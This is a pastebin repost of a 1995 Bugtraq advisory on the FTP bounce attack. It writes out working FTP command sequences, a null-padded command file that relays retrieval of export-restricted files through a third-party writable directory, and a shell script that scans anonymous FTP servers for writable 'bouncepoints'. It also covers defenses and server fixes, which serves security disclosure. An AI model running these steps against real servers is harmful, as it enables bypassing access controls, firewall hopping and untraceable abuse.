HackingSchoolFtpBounce


SUBMITTED BY: ProffesorFaux

DATE: March 25, 2020, 3:40 a.m.

FORMAT: Text only

SIZE: 10.8 kB

HITS: 435

  1. Date: Wed, 12 Jul 1995 02:20:20 -0400
  2. From: *Hobbit* <hobbit@avian.org>
  3. Subject: The FTP Bounce Attack
  4. To: Multiple recipients of list BUGTRAQ <BUGTRAQ@CRIMELAB.COM>
  5. This discusses one of many possible uses of the "FTP server bounce attack".
  6. The mechanism used is probably well-known, but to date interest in detailing
  7. or fixing it seems low to nonexistent. This particular example demonstrates
  8. yet another way in which most electronically enforced "export restrictions" are
  9. completely useless and trivial to bypass. It is chosen in an effort to make
  10. the reader sit up and notice that there are some really ill-conceived aspects
  11. of the standard FTP protocol.
  12. Thanks also to Alain Knaff at imag.fr for a brief but entertaining discussion
  13. of some of these issues a couple of months ago which got me thinking more
  14. deeply about them.
  15. The motive
  16. ==========
  17. You are a user on foreign.fr, IP address F.F.F.F, and want to retrieve
  18. cryptographic source code from crypto.com in the US. The FTP server at
  19. crypto.com is set up to allow your connection, but deny access to the crypto
  20. sources because your source IP address is that of a non-US site [as near as
  21. their FTP server can determine from the DNS, that is]. In any case, you
  22. cannot directly retrieve what you want from crypto.com's server.
  23. However, crypto.com will allow ufred.edu to download crypto sources because
  24. ufred.edu is in the US too. You happen to know that /incoming on ufred.edu
  25. is a world-writeable directory that any anonymous user can drop files into and
  26. read them back from. Crypto.com's IP address is C.C.C.C.
  27. The attack
  28. ==========
  29. This assumes you have an FTP server that does passive mode. Open an FTP
  30. connection to your own machine's real IP address [not localhost] and log in.
  31. Change to a convenient directory that you have write access to, and then do:
  32. quote "pasv"
  33. quote "stor foobar"
  34. Take note of the address and port that are returned from the PASV command,
  35. F,F,F,F,X,X. This FTP session will now hang, so background it or flip to
  36. another window or something to proceed with the rest of this.
  37. Construct a file containing FTP server commands. Let's call this file
  38. "instrs". It will look like this:
  39. user ftp
  40. pass -anonymous@
  41. cwd /export-restricted-crypto
  42. type i
  43. port F,F,F,F,X,X
  44. retr crypto.tar.Z
  45. quit
  46. ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
  47. ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
  48. ...
  49. F,F,F,F,X,X is the same address and port that your own machine handed you
  50. on the first connection. The trash at the end is extra lines you create,
  51. each containing 250 NULLS and nothing else, enough to fill up about 60K of
  52. extra data. The reason for this filler is explained later.
  53. Open an FTP connection to ufred.edu, log in anonymously, and cd to /incoming.
  54. Now type the following into this FTP session, which transfers a copy of your
  55. "instrs" file over and then tells ufred.edu's FTP server to connect to
  56. crypto.com's FTP server using your file as the commands:
  57. put instrs
  58. quote "port C,C,C,C,0,21"
  59. quote "retr instrs"
  60. Crypto.tar.Z should now show up as "foobar" on your machine via your first FTP
  61. connection. If the connection to ufred.edu didn't die by itself due to an
  62. apparently common server bug, clean up by deleting "instrs" and exiting.
  63. Otherwise you'll have to reconnect to finish.
  64. Discussion
  65. ==========
  66. There are several variants of this. Your PASV listener connection can be
  67. opened on any machine that you have file write access to -- your own, another
  68. connection to ufred.edu, or somewhere completely unrelated. In fact, it does
  69. not even have to be an FTP server -- any utility that will listen on a known
  70. TCP port and read raw data from it into a file will do. A passive-mode FTP
  71. data connection is simply a convenient way to do this.
  72. The extra nulls at the end of the command file are to fill up the TCP windows
  73. on either end of the ufred -> crypto connection, and ensure that the command
  74. connection stays open long enough for the whole session to be executed.
  75. Otherwise, most FTP servers tend to abort all transfers and command processing
  76. when the control connection closes prematurely. The size of the data is enough
  77. to fill both the receive and transmit windows, which on some OSes are quite
  78. large [on the order of 30K]. You can trim this down if you know what OSes
  79. are on either end and the sum of their default TCP window sizes. It is split
  80. into lines of 250 characters to avoid overrunning command buffers on the target
  81. server -- probably academic since you told the server to quit already.
  82. If crypto.com disallows *any* FTP client connection from you at foreign.fr and
  83. you need to see what files are where, you can always put "list -aR" in your
  84. command file and get a directory listing of the entire tree via ufred.
  85. You may have to retrieve your command file to the target's FTP server in ASCII
  86. mode rather than binary mode. Some FTP servers can deal with raw newlines, but
  87. others may need command lines terminated by CRLF pairs. Keep this in mind when
  88. retrieving files to daemons other than FTP servers, as well.
  89. Other possbilities
  90. ==================
  91. Despite the fact that such third-party connections are one-way only, they
  92. can be used for all kinds of things. Similar methods can be used to post
  93. virtually untraceable mail and news, hammer on servers at various sites, fill
  94. up disks, try to hop firewalls, and generally be annoying and hard to track
  95. down at the same time. A little thought will bring realization of numerous
  96. other scary possibilities.
  97. Connections launched this way come from source port 20, which some sites allow
  98. through their firewalls in an effort to deal with the "ftp-data" problem. For
  99. some purposes, this can be the next best thing to source-routed attacks, and is
  100. likely to succeed where source routing fails against packet filters. And it's
  101. all made possible by the way the FTP protocol spec was written, allowing
  102. control connections to come from anywhere and data connections to go anywhere.
  103. Defenses
  104. ========
  105. There will always be sites on the net with creaky old FTP servers and
  106. writeable directories that allow this sort of traffic, so saying "fix all
  107. the FTP servers" is the wrong answer. But you can protect your own against
  108. both being a third-party bouncepoint and having another one used against you.
  109. The first obvious thing to do is allow an FTP server to only make data
  110. connections to the same host that the control connection originated from.
  111. This does not prevent the above attack, of course, since the PASV listener
  112. could just as easily be on ufred.edu and thus meet that requirement, but
  113. it does prevent *your* site from being a potential bouncepoint. It also
  114. breaks the concept of "proxy FTP", but hidden somewhere in this paragraph
  115. is a very tiny violin.
  116. The next obvious thing is to prohibit FTP control connections that come from
  117. reserved ports, or at least port 20. This prevents the above scenario as
  118. stated.
  119. Both of these things, plus the usual poop about blocking source-routed packets
  120. and other avenues of spoofery, are necessary to prevent hacks of this sort.
  121. And think about whether or not you really need an open "incoming" directory.
  122. Only allowing passive-mode client data connections is another possibility,
  123. but there are still too many FTP clients in use that aren't passive-aware.
  124. "A loose consensus and running code"
  125. ====================================
  126. There is some existing work addressing this available here at avian.org [and
  127. has been for several months, I might add] in the "fixkits archive". Several
  128. mods to wu-ftpd-2.4 are presented, which includes code to prevent and log
  129. attempts to use bogus PORT commands. Recent security fixes from elsewhere are
  130. also included, along with s/key support and various compile-time options to
  131. beef up security for specific applications.
  132. Stan Barber at academ.com is working on merging these and several other fixes
  133. into a true updated wu-ftpd release. There are a couple of other divergent
  134. efforts going on. Nowhere is it claimed that any of this work is complete yet,
  135. but it is a start toward something I have had in mind for a while -- a
  136. network-wide release of wu-ftpd-2.5, with contributions from around the net.
  137. The wu-ftpd server has become very popular, but is in sad need of yet another
  138. security upgrade. It would be nice to pull all the improvements together into
  139. one coordinated place, and it looks like it will happen. All of this still
  140. won't help people who insist on running vendor-supplied servers, of course.
  141. Sanity-checking the client connection's source port is not implemented
  142. specifically in the FTP server fixes, but in modifications to Wietse's
  143. tcp-wrappers package since this problem is more general. A simple PORT option
  144. is added that denies connections from configurable ranges of source ports at
  145. the tcpd stage, before a called daemon is executed.
  146. Some of this is pointed to by /src/fixkits/README in the anonymous FTP
  147. area here. Read this roadmap before grabbing other things.
  148. Notes
  149. =====
  150. Adding the nulls at the end of the command file was the key to making this
  151. work against a variety of daemons. Simply sending the desired data would
  152. usually fail due to the immediate close signaling the daemon to bail out.
  153. If WUSTL has not given up entirely on the whole wu-ftpd project, they are
  154. keeping very quiet about further work. Bryan O'Connor appears to have many
  155. other projects to attend to by now...
  156. This is a trivial script to find world-writeable and ftp-owned directories and
  157. files on a unix-based anonymous FTP server. You'd be surprised how many of
  158. those writeable "bouncepoints" pop out after a short run of something like
  159. this. You will have to later check that you can both PUT and GET files from
  160. such places; some servers protect uploaded files against reading. Many do not,
  161. and then wonder why they are among this week's top ten warez sites...
  162. #!/bin/sh
  163. ftp -n $1 << FOE
  164. quote "user ftp"
  165. quote "pass -nobody@"
  166. prompt
  167. cd /
  168. dir "-aR" xxx.$$
  169. bye
  170. FOE
  171. # Not smart enough to figure out ftp's numeric UID if no passwd file!
  172. cat -v xxx.$$ | awk '
  173. BEGIN { idir = "/" ; dirp = 0 }
  174. /.:$/ { idir = $0 ; dirp = 1 ; }
  175. /^[-d][-r](......w.|........ *[0-9]* ftp *)/ {
  176. if (dirp == 1) print idir
  177. dirp = 0
  178. print $0
  179. } '
  180. rm xxx.$$
  181. I suppose one could call this a white paper. It is up for grabs at avian.org
  182. in /random/ftp-attack as well as being posted in various relevant places.
  183. _H* 950712

comments powered by Disqus